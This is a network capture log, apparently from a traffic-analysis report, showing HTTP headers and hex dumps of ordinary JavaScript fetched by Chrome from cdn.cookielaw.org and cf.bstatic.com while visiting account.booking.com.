2024-11-02 13:00:07 UTC	1430	IN	Data Raw: 3f 65 3a 72 2c 22 41 72 72 61 79 22 3d 3d 6e 29 72 65 74 75 72 6e 20 63 2e 63 61 6c 6c 28 74 68 69 73 2c 74 2c 72 29 3b 66 6f 72 28 76 61 72 20 6f 3d 75 28 74 2c 65 29 2c 61 3d 75 28 72 2c 65 29 2c 66 3d 73 28 61 2d 6f 29 2c 6c 3d 6e 65 77 20 41 72 72 61 79 28 66 29 2c 70 3d 30 3b 70 3c 66 3b 70 2b 2b 29 6c 5b 70 5d 3d 22 53 74 72 69 6e 67 22 3d 3d 6e 3f 74 68 69 73 2e 63 68 61 72 41 74 28 6f 2b 70 29 3a 74 68 69 73 5b 6f 2b 70 5d 3b 72 65 74 75 72 6e 20 6c 7d 7d 29 7d 2c 36 34 35 30 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 65 28 36 37 35 32 36 29 2c 6f 3d 65 28 35 37 39 31 37 29 2c 69 3d 65 28 35 35 30 38 39 29 2c 75 3d 65 28 39 38 38 38 30 29 2c 73 3d 65 28 38 33 30 34 38 29 2c 63 3d Data Ascii: ?e:r,"Array"==n)return c.call(this,t,r);for(var o=u(t,e),a=u(r,e),f=s(a-o),l=new Array(f),p=0;p<f;p++)l[p]="String"==n?this.charAt(o+p):this[o+p];return l}})},64509:function(t,r,e){"use strict";var n=e(67526),o=e(57917),i=e(55089),u=e(98880),s=e(83048),c=
2024-11-02 13:00:07 UTC	9214	IN	Data Raw: 65 28 35 31 33 31 31 29 3b 65 28 38 30 39 32 33 29 28 22 6b 65 79 73 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6f 28 6e 28 74 29 29 7d 7d 29 29 7d 2c 31 37 34 38 32 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 72 2c 65 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6e 3d 65 28 33 34 38 34 38 29 2c 6f 3d 7b 7d 3b 6f 5b 65 28 36 37 35 37 34 29 28 22 74 6f 53 74 72 69 6e 67 54 61 67 22 29 5d 3d 22 7a 22 2c 6f 2b 22 22 21 3d 22 5b 6f 62 6a 65 63 74 20 7a 5d 22 26 26 65 28 32 38 38 35 39 29 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 22 74 6f 53 74 72 69 6e 67 22 2c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 5b 6f 62 6a 65 63 74 20 22 2b 6e 28 74 68 69 73 29 Data Ascii: e(51311);e(80923)("keys",(function(){return function(t){return o(n(t))}}))},17482:function(t,r,e){"use strict";var n=e(34848),o={};o[e(67574)("toStringTag")]="z",o+""!="[object z]"&&e(28859)(Object.prototype,"toString",(function(){return"[object "+n(this)
2024-11-02 13:00:07 UTC	6413	IN	Data Raw: 74 79 70 65 2e 64 65 6c 65 74 65 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 64 65 6c 65 74 65 20 74 68 69 73 2e 6d 61 70 5b 6c 28 74 29 5d 7d 2c 79 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 74 29 2c 74 68 69 73 2e 68 61 73 28 74 29 3f 74 68 69 73 2e 6d 61 70 5b 74 5d 3a 6e 75 6c 6c 7d 2c 79 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 6d 61 70 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6c 28 74 29 29 7d 2c 79 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 72 29 7b 74 68 69 73 2e 6d 61 70 5b 6c 28 74 29 5d 3d 70 28 72 29 7d 2c 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 Data Ascii: type.delete=function(t){delete this.map[l(t)]},y.prototype.get=function(t){return t=l(t),this.has(t)?this.map[t]:null},y.prototype.has=function(t){return this.map.hasOwnProperty(l(t))},y.prototype.set=function(t,r){this.map[l(t)]=p(r)},y.prototype.forEach

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49717	104.18.86.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:07 UTC	579	OUT	GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/OtAutoBlock.js HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:07 UTC	988	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:07 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close CF-Ray: 8dc44e410b9ba924-DFW CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 62219 Cache-Control: public, max-age=86400 Expires: Sun, 03 Nov 2024 13:00:07 GMT Last-Modified: Tue, 17 Sep 2024 13:58:37 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Content-MD5: B52bSplDU0RKt3yUthSFJg== Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2fcecb99-201e-0032-714c-26cb5a000000 x-ms-version: 2009-09-19 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare
2024-11-02 13:00:07 UTC	381	IN	Data Raw: 31 33 62 65 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 71 28 61 29 7b 76 61 72 20 63 3d 5b 5d 2c 62 3d 5b 5d 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 66 6f 72 28 76 61 72 20 67 3d 7b 7d 2c 68 3d 30 3b 68 3c 75 2e 6c 65 6e 67 74 68 3b 68 2b 2b 29 7b 76 61 72 20 64 3d 75 5b 68 5d 3b 69 66 28 64 2e 54 61 67 3d 3d 3d 66 29 7b 67 3d 64 3b 62 72 65 61 6b 7d 76 61 72 20 6c 3d 76 6f 69 64 20 30 2c 6b 3d 64 2e 54 61 67 3b 76 61 72 20 43 3d 28 6b 3d 2d 31 21 3d 3d 6b 2e 69 6e 64 65 78 4f 66 28 22 68 74 74 70 3a 22 29 3f 6b 2e 72 65 70 6c 61 63 65 28 22 68 74 74 70 3a 22 2c 22 22 29 3a 6b 2e 72 65 70 6c 61 63 65 28 22 68 74 74 70 73 3a 22 2c 22 22 29 2c 2d 31 21 3d 3d 28 6c 3d 6b 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 29 3f 6b 2e 72 65 Data Ascii: 13be!function(){function q(a){var c=[],b=[],e=function(f){for(var g={},h=0;h<u.length;h++){var d=u[h];if(d.Tag===f){g=d;break}var l=void 0,k=d.Tag;var C=(k=-1!==k.indexOf("http:")?k.replace("http:",""):k.replace("https:",""),-1!==(l=k.indexOf("?"))?k.re
2024-11-02 13:00:07 UTC	1369	IN	Data Raw: 65 2e 43 61 74 65 67 6f 72 79 49 64 29 2c 65 2e 56 65 6e 64 6f 72 26 26 28 62 3d 65 2e 56 65 6e 64 6f 72 2e 73 70 6c 69 74 28 22 3a 22 29 29 2c 21 65 2e 54 61 67 26 26 44 26 26 28 62 3d 63 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 67 3d 5b 5d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 6c 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 0a 72 65 74 75 72 6e 20 6c 2e 68 72 65 66 3d 64 2c 2d 31 21 3d 3d 28 64 3d 6c 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 22 2e 22 29 29 2e 69 6e 64 65 78 4f 66 28 22 77 77 77 22 29 7c 7c 32 3c 64 2e 6c 65 6e 67 74 68 3f 64 2e 73 6c 69 63 65 28 31 29 2e 6a 6f 69 6e 28 22 2e 22 29 3a 6c 2e 68 6f 73 74 6e 61 6d 65 7d 28 66 29 3b 76 2e 73 6f 6d 65 28 66 75 6e 63 Data Ascii: e.CategoryId),e.Vendor&&(b=e.Vendor.split(":")),!e.Tag&&D&&(b=c=function(f){var g=[],h=function(d){var l=document.createElement("a");return l.href=d,-1!==(d=l.hostname.split(".")).indexOf("www")\|\|2<d.length?d.slice(1).join("."):l.hostname}(f);v.some(func
2024-11-02 13:00:07 UTC	1369	IN	Data Raw: 78 4f 66 28 22 6f 74 2d 76 73 63 61 74 2d 22 2b 62 29 26 26 28 65 2b 3d 22 20 22 2b 28 22 6f 74 2d 76 73 63 61 74 2d 22 2b 62 29 2e 74 72 69 6d 28 29 29 2c 65 2b 22 20 22 2b 63 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 61 29 7b 76 61 72 20 63 2c 62 3d 71 28 61 2e 73 72 63 7c 7c 22 22 29 3b 28 62 2e 63 61 74 65 67 6f 72 79 49 64 73 2e 6c 65 6e 67 74 68 7c 7c 62 2e 76 73 43 61 74 49 64 73 2e 6c 65 6e 67 74 68 29 26 26 28 78 28 62 2e 63 61 74 65 67 6f 72 79 49 64 73 2c 61 2c 62 2e 76 73 43 61 74 49 64 73 29 2c 6d 28 62 2e 63 61 74 65 67 6f 72 79 49 64 73 2c 62 2e 76 73 43 61 74 49 64 73 29 7c 7c 28 61 2e 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 29 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 62 65 66 6f 72 65 73 63 72 69 70 74 65 78 65 Data Ascii: xOf("ot-vscat-"+b)&&(e+=" "+("ot-vscat-"+b).trim()),e+" "+c}function z(a){var c,b=q(a.src\|\|"");(b.categoryIds.length\|\|b.vsCatIds.length)&&(x(b.categoryIds,a,b.vsCatIds),m(b.categoryIds,b.vsCatIds)\|\|(a.type="text/plain"),a.addEventListener("beforescriptexe
2024-11-02 13:00:07 UTC	1369	IN	Data Raw: 66 72 61 6d 65 22 2c 22 69 6d 67 22 2c 22 73 63 72 69 70 74 22 5d 2c 42 3d 28 28 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 61 2c 66 75 6e 63 74 69 6f 6e 28 63 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 63 2e 61 64 64 65 64 4e 6f 64 65 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 2d 31 3d 3d 3d 74 2e 69 6e 64 65 78 4f 66 28 65 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7c 7c 6e 28 65 29 7c 7c 70 28 65 29 7c 7c 28 22 73 63 72 69 70 74 22 3d 3d 3d 65 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 Data Ascii: frame","img","script"],B=((new MutationObserver(function(a){Array.prototype.forEach.call(a,function(c){Array.prototype.forEach.call(c.addedNodes,function(e){1!==e.nodeType\|\|-1===t.indexOf(e.tagName.toLowerCase())\|\|n(e)\|\|p(e)\|\|("script"===e.tagName.toLower
2024-11-02 13:00:07 UTC	574	IN	Data Raw: 2c 22 74 65 78 74 2f 70 6c 61 69 6e 22 29 2c 63 28 22 73 72 63 22 2c 66 29 29 2c 21 30 7d 7d 2c 74 79 70 65 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 29 7c 7c 22 22 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 68 3d 63 2c 64 3d 71 28 28 67 3d 61 29 2e 73 72 63 7c 7c 22 22 29 2c 0a 68 28 22 74 79 70 65 22 2c 21 64 2e 63 61 74 65 67 6f 72 79 49 64 73 2e 6c 65 6e 67 74 68 26 26 21 64 2e 76 73 43 61 74 49 64 73 2e 6c 65 6e 67 74 68 7c 7c 6e 28 67 29 7c 7c 6d 28 64 2e 63 61 74 65 67 6f 72 79 49 64 73 2c 64 2e 76 73 43 61 74 49 64 73 29 7c 7c 70 28 67 29 3f 66 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 29 2c 21 30 3b 76 61 72 20 67 2c 68 2c 64 Data Ascii: ,"text/plain"),c("src",f)),!0}},type:{get:function(){return a.getAttribute("type")\|\|""},set:function(f){return h=c,d=q((g=a).src\|\|""),h("type",!d.categoryIds.length&&!d.vsCatIds.length\|\|n(g)\|\|m(d.categoryIds,d.vsCatIds)\|\|p(g)?f:"text/plain"),!0;var g,h,d
2024-11-02 13:00:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49727	104.18.87.42	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:07 UTC	400	OUT	GET /consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/OtAutoBlock.js HTTP/1.1 Host: cdn.cookielaw.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:08 UTC	988	IN	HTTP/1.1 200 OK Date: Sat, 02 Nov 2024 13:00:08 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close CF-Ray: 8dc44e461a7f45fb-DFW CF-Cache-Status: HIT Access-Control-Allow-Origin: * Age: 62220 Cache-Control: public, max-age=86400 Expires: Sun, 03 Nov 2024 13:00:08 GMT Last-Modified: Tue, 17 Sep 2024 13:58:37 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: Accept-Encoding Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Content-MD5: B52bSplDU0RKt3yUthSFJg== Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2fcecb99-201e-0032-714c-26cb5a000000 x-ms-version: 2009-09-19 Cross-Origin-Resource-Policy: cross-origin Server: cloudflare
2024-11-02 13:00:08 UTC	381	IN	Data Raw: 31 33 62 65 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 71 28 61 29 7b 76 61 72 20 63 3d 5b 5d 2c 62 3d 5b 5d 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 66 6f 72 28 76 61 72 20 67 3d 7b 7d 2c 68 3d 30 3b 68 3c 75 2e 6c 65 6e 67 74 68 3b 68 2b 2b 29 7b 76 61 72 20 64 3d 75 5b 68 5d 3b 69 66 28 64 2e 54 61 67 3d 3d 3d 66 29 7b 67 3d 64 3b 62 72 65 61 6b 7d 76 61 72 20 6c 3d 76 6f 69 64 20 30 2c 6b 3d 64 2e 54 61 67 3b 76 61 72 20 43 3d 28 6b 3d 2d 31 21 3d 3d 6b 2e 69 6e 64 65 78 4f 66 28 22 68 74 74 70 3a 22 29 3f 6b 2e 72 65 70 6c 61 63 65 28 22 68 74 74 70 3a 22 2c 22 22 29 3a 6b 2e 72 65 70 6c 61 63 65 28 22 68 74 74 70 73 3a 22 2c 22 22 29 2c 2d 31 21 3d 3d 28 6c 3d 6b 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 29 3f 6b 2e 72 65 Data Ascii: 13be!function(){function q(a){var c=[],b=[],e=function(f){for(var g={},h=0;h<u.length;h++){var d=u[h];if(d.Tag===f){g=d;break}var l=void 0,k=d.Tag;var C=(k=-1!==k.indexOf("http:")?k.replace("http:",""):k.replace("https:",""),-1!==(l=k.indexOf("?"))?k.re
2024-11-02 13:00:08 UTC	1369	IN	Data Raw: 65 2e 43 61 74 65 67 6f 72 79 49 64 29 2c 65 2e 56 65 6e 64 6f 72 26 26 28 62 3d 65 2e 56 65 6e 64 6f 72 2e 73 70 6c 69 74 28 22 3a 22 29 29 2c 21 65 2e 54 61 67 26 26 44 26 26 28 62 3d 63 3d 66 75 6e 63 74 69 6f 6e 28 66 29 7b 76 61 72 20 67 3d 5b 5d 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 64 29 7b 76 61 72 20 6c 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 0a 72 65 74 75 72 6e 20 6c 2e 68 72 65 66 3d 64 2c 2d 31 21 3d 3d 28 64 3d 6c 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 22 2e 22 29 29 2e 69 6e 64 65 78 4f 66 28 22 77 77 77 22 29 7c 7c 32 3c 64 2e 6c 65 6e 67 74 68 3f 64 2e 73 6c 69 63 65 28 31 29 2e 6a 6f 69 6e 28 22 2e 22 29 3a 6c 2e 68 6f 73 74 6e 61 6d 65 7d 28 66 29 3b 76 2e 73 6f 6d 65 28 66 75 6e 63 Data Ascii: e.CategoryId),e.Vendor&&(b=e.Vendor.split(":")),!e.Tag&&D&&(b=c=function(f){var g=[],h=function(d){var l=document.createElement("a");return l.href=d,-1!==(d=l.hostname.split(".")).indexOf("www")\|\|2<d.length?d.slice(1).join("."):l.hostname}(f);v.some(func
2024-11-02 13:00:08 UTC	1369	IN	Data Raw: 78 4f 66 28 22 6f 74 2d 76 73 63 61 74 2d 22 2b 62 29 26 26 28 65 2b 3d 22 20 22 2b 28 22 6f 74 2d 76 73 63 61 74 2d 22 2b 62 29 2e 74 72 69 6d 28 29 29 2c 65 2b 22 20 22 2b 63 7d 66 75 6e 63 74 69 6f 6e 20 7a 28 61 29 7b 76 61 72 20 63 2c 62 3d 71 28 61 2e 73 72 63 7c 7c 22 22 29 3b 28 62 2e 63 61 74 65 67 6f 72 79 49 64 73 2e 6c 65 6e 67 74 68 7c 7c 62 2e 76 73 43 61 74 49 64 73 2e 6c 65 6e 67 74 68 29 26 26 28 78 28 62 2e 63 61 74 65 67 6f 72 79 49 64 73 2c 61 2c 62 2e 76 73 43 61 74 49 64 73 29 2c 6d 28 62 2e 63 61 74 65 67 6f 72 79 49 64 73 2c 62 2e 76 73 43 61 74 49 64 73 29 7c 7c 28 61 2e 74 79 70 65 3d 22 74 65 78 74 2f 70 6c 61 69 6e 22 29 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 62 65 66 6f 72 65 73 63 72 69 70 74 65 78 65 Data Ascii: xOf("ot-vscat-"+b)&&(e+=" "+("ot-vscat-"+b).trim()),e+" "+c}function z(a){var c,b=q(a.src\|\|"");(b.categoryIds.length\|\|b.vsCatIds.length)&&(x(b.categoryIds,a,b.vsCatIds),m(b.categoryIds,b.vsCatIds)\|\|(a.type="text/plain"),a.addEventListener("beforescriptexe
2024-11-02 13:00:08 UTC	1369	IN	Data Raw: 66 72 61 6d 65 22 2c 22 69 6d 67 22 2c 22 73 63 72 69 70 74 22 5d 2c 42 3d 28 28 6e 65 77 20 4d 75 74 61 74 69 6f 6e 4f 62 73 65 72 76 65 72 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 61 2c 66 75 6e 63 74 69 6f 6e 28 63 29 7b 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 63 2e 61 64 64 65 64 4e 6f 64 65 73 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 31 21 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 2d 31 3d 3d 3d 74 2e 69 6e 64 65 78 4f 66 28 65 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 7c 7c 6e 28 65 29 7c 7c 70 28 65 29 7c 7c 28 22 73 63 72 69 70 74 22 3d 3d 3d 65 2e 74 61 67 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 Data Ascii: frame","img","script"],B=((new MutationObserver(function(a){Array.prototype.forEach.call(a,function(c){Array.prototype.forEach.call(c.addedNodes,function(e){1!==e.nodeType\|\|-1===t.indexOf(e.tagName.toLowerCase())\|\|n(e)\|\|p(e)\|\|("script"===e.tagName.toLower
2024-11-02 13:00:08 UTC	574	IN	Data Raw: 2c 22 74 65 78 74 2f 70 6c 61 69 6e 22 29 2c 63 28 22 73 72 63 22 2c 66 29 29 2c 21 30 7d 7d 2c 74 79 70 65 3a 7b 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 74 79 70 65 22 29 7c 7c 22 22 7d 2c 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e 20 68 3d 63 2c 64 3d 71 28 28 67 3d 61 29 2e 73 72 63 7c 7c 22 22 29 2c 0a 68 28 22 74 79 70 65 22 2c 21 64 2e 63 61 74 65 67 6f 72 79 49 64 73 2e 6c 65 6e 67 74 68 26 26 21 64 2e 76 73 43 61 74 49 64 73 2e 6c 65 6e 67 74 68 7c 7c 6e 28 67 29 7c 7c 6d 28 64 2e 63 61 74 65 67 6f 72 79 49 64 73 2c 64 2e 76 73 43 61 74 49 64 73 29 7c 7c 70 28 67 29 3f 66 3a 22 74 65 78 74 2f 70 6c 61 69 6e 22 29 2c 21 30 3b 76 61 72 20 67 2c 68 2c 64 Data Ascii: ,"text/plain"),c("src",f)),!0}},type:{get:function(){return a.getAttribute("type")\|\|""},set:function(f){return h=c,d=q((g=a).src\|\|""),h("type",!d.categoryIds.length&&!d.vsCatIds.length\|\|n(g)\|\|m(d.categoryIds,d.vsCatIds)\|\|p(g)?f:"text/plain"),!0;var g,h,d
2024-11-02 13:00:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49723	18.245.31.18	443	4160	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-02 13:00:07 UTC	570	OUT	GET /psb/accountsportal/assets/709_bad9882915aa6a1c2b70.js HTTP/1.1 Host: cf.bstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://account.booking.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-02 13:00:08 UTC	727	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-Length: 350953 Connection: close Date: Fri, 01 Nov 2024 23:27:16 GMT Last-Modified: Fri, 01 Nov 2024 17:50:37 GMT ETag: "50661ed4a798150480e02eb240322bcc" x-amz-server-side-encryption: AES256 x-amz-meta-x-deployment-hash: 7d8cfdce18ac09aabe745ecb8a6a83aec70de52d4394c38a23de96c8134d944c x-amz-version-id: AyS3TDmoL1T2zS6GRWorn3EgV5xLiaiO Accept-Ranges: bytes Server: AmazonS3 X-Cache: Hit from cloudfront Via: 1.1 085a99da24636ecdd172026920429788.cloudfront.net (CloudFront) X-Amz-Cf-Pop: FRA56-P8 Alt-Svc: h3=":443"; ma=86400 X-Amz-Cf-Id: MwRbdBQ55WAwTMpf5i_RtdZ5WGyScS3_uoS6ikFtcLxOjJu50I5y8g== Age: 48773 Timing-Allow-Origin: * Vary: Origin
2024-11-02 13:00:08 UTC	15657	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 37 30 39 5f 62 61 64 39 38 38 32 39 31 35 61 61 36 61 31 63 32 62 37 30 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 62 6f 6f 6b 69 6e 67 73 5f 77 65 62 5f 61 63 63 6f 75 6e 74 73 5f 70 6f 72 74 61 6c 5f 77 6f 72 6b 73 70 61 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 37 30 39 5d 2c 7b 31 30 38 31 31 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 Data Ascii: /! For license information please see 709_bad9882915aa6a1c2b70.js.LICENSE.txt /(self.webpackChunkbookings_web_accounts_portal_workspaces=self.webpackChunkbookings_web_accounts_portal_workspaces\|\|[]).push([[709],{10811:function(e,t,n){"use strict";var r
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 38 2e 37 30 36 43 31 32 35 2e 34 31 20 31 38 2e 32 37 31 20 31 32 35 2e 30 36 37 20 31 37 2e 37 34 38 32 20 31 32 34 2e 38 34 33 20 31 37 2e 31 37 31 36 43 31 32 34 2e 36 31 39 20 31 36 2e 35 39 35 31 20 31 32 34 2e 35 31 39 20 31 35 2e 39 37 37 38 20 31 32 34 2e 35 35 20 31 35 2e 33 36 43 31 32 34 2e 34 39 38 20 31 34 2e 37 35 30 34 20 31 32 34 2e 35 37 35 20 31 34 2e 31 33 36 35 20 31 32 34 2e 37 37 36 20 31 33 2e 35 35 38 38 43 31 32 34 2e 39 37 38 20 31 32 2e 39 38 31 20 31 32 35 2e 32 39 39 20 31 32 2e 34 35 32 34 20 31 32 35 2e 37 31 39 20 31 32 2e 30 30 37 36 43 31 32 36 2e 31 34 20 31 31 2e 35 36 32 39 20 31 32 36 2e 36 34 39 20 31 31 2e 32 31 32 20 31 32 37 2e 32 31 35 20 31 30 2e 39 37 38 43 31 32 37 2e 37 38 20 31 30 2e 37 34 34 20 31 32 38 2e Data Ascii: 8.706C125.41 18.271 125.067 17.7482 124.843 17.1716C124.619 16.5951 124.519 15.9778 124.55 15.36C124.498 14.7504 124.575 14.1365 124.776 13.5588C124.978 12.981 125.299 12.4524 125.719 12.0076C126.14 11.5629 126.649 11.212 127.215 10.978C127.78 10.744 128.
2024-11-02 13:00:08 UTC	16384	IN	Data Raw: 65 28 22 74 61 62 69 6e 64 65 78 22 2c 22 30 22 29 2c 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 6f 2c 22 22 29 2c 69 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 70 78 22 2c 69 2e 73 74 79 6c 65 2e 6f 70 61 63 69 74 79 3d 22 30 22 2c 72 26 26 69 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 6c 61 62 65 6c 22 2c 72 29 2c 65 2e 69 6e 73 65 72 74 41 64 6a 61 63 65 6e 74 45 6c 65 6d 65 6e 74 28 22 62 65 66 6f 72 65 62 65 67 69 6e 22 2c 69 29 2c 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 6e 29 2c 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 74 69 74 6c 65 22 29 2c 65 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 2d 